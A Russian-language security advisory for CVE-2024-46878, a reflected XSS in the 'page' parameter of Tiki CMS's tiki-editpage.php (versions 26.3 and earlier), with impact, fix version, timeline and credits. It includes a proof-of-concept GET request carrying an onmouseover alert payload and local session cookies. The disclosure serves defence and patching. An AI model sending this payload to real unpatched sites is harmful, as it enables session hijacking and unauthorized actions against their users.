CVE-2024-46878 - Уязвимость отражённого межсайтового скриптинга (XSS) в Tiki CMS

Tiki CMS - уязвимость отражённого межсайтового скриптинга (XSS) в параметре 'page'

Отказ от ответственности

Предназначено только для образовательных, исследовательских и защитных целей. Несанкционированное использование против систем без разрешения незаконно.

Краткое описание

Уязвимость отражённого межсайтового скриптинга (XSS) существует в параметре page в tiki-editpage.php в Tiki версии 26.3 и более ранних. Эта уязвимость позволяет злоумышленникам выполнять произвольный JavaScript-код через специально сформированную полезную нагрузку, что может привести к доступу к конфиденциальной информации или несанкционированным действиям.

Затронутые продукты

Продукт: Tiki CMS Groupware
Версии: 26.3 и более ранние
Компонент: tiki-editpage.php

Детали уязвимости

Уязвимость вызвана некорректной санитизацией ввода параметра page в tiki-editpage.php. Ввод, предоставленный пользователем, отражается в HTTP-ответе без достаточного кодирования, что позволяет выполнить внедрённый JavaScript.

Воздействие

Позволяет аутентифицированному злоумышленнику выполнить произвольный JavaScript в браузере другого пользователя через специально сформированный запрос, что может привести к угону сессии или несанкционированным действиям.

Подтверждение концепции (PoC)

Запрос

GET /tiki-editpage.php?page=%22%20onmouseover%3Dalert(document.domain)%20 HTTP/1.1
Host: 127.0.0.1:9089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: local_tz=Asia%2FKolkata; PHPSESSIDCV=51zQV%2BMxUnJxFY9nnRP%2FFg%3D%3D; javascript_enabled=y; PHPSESSID_CSRF=t2A6i9BjH1QHEH8KaLag0jtgT4dK9TTzyn8sOcRVwg9SMycfxWjoeYFmTykOfVjNPotrBKqsizXJ%2BrYcEXci8QPZxiSyBwA5YFLRS1S2RgxeTAI%3D; PHPSESSID=e19c8b25df427a7892245dc919be2067
Upgrade-Insecure-Requests: 1
Priority: u=0, i

poc

Исправление

Проблема устранена в Tiki CMS Groupware версии 27.1. Пользователям рекомендуется обновиться до этой или более поздней исправленной версии.

Ссылка на вендора: https://tiki.org/article514-New-Security-Updates-Released-for-Tiki-27-x-LTS-26-x-and-24-x-LTS-and-Upgrade-is-Strongly-Recommended

Хронология

Сообщено вендору: 5 сентября 2024 года
Подтверждение вендора: 16 сентября 2024 года
Исправлено в версии 27.1: 22 декабря 2024 года
Публичное раскрытие (через этот репозиторий): 23 марта 2026 года

Авторы

Sheela Sarva, Qualys
Mayank Deshmukh, Qualys

CVE-2024-46878-TikiCMS-XSS

Популярное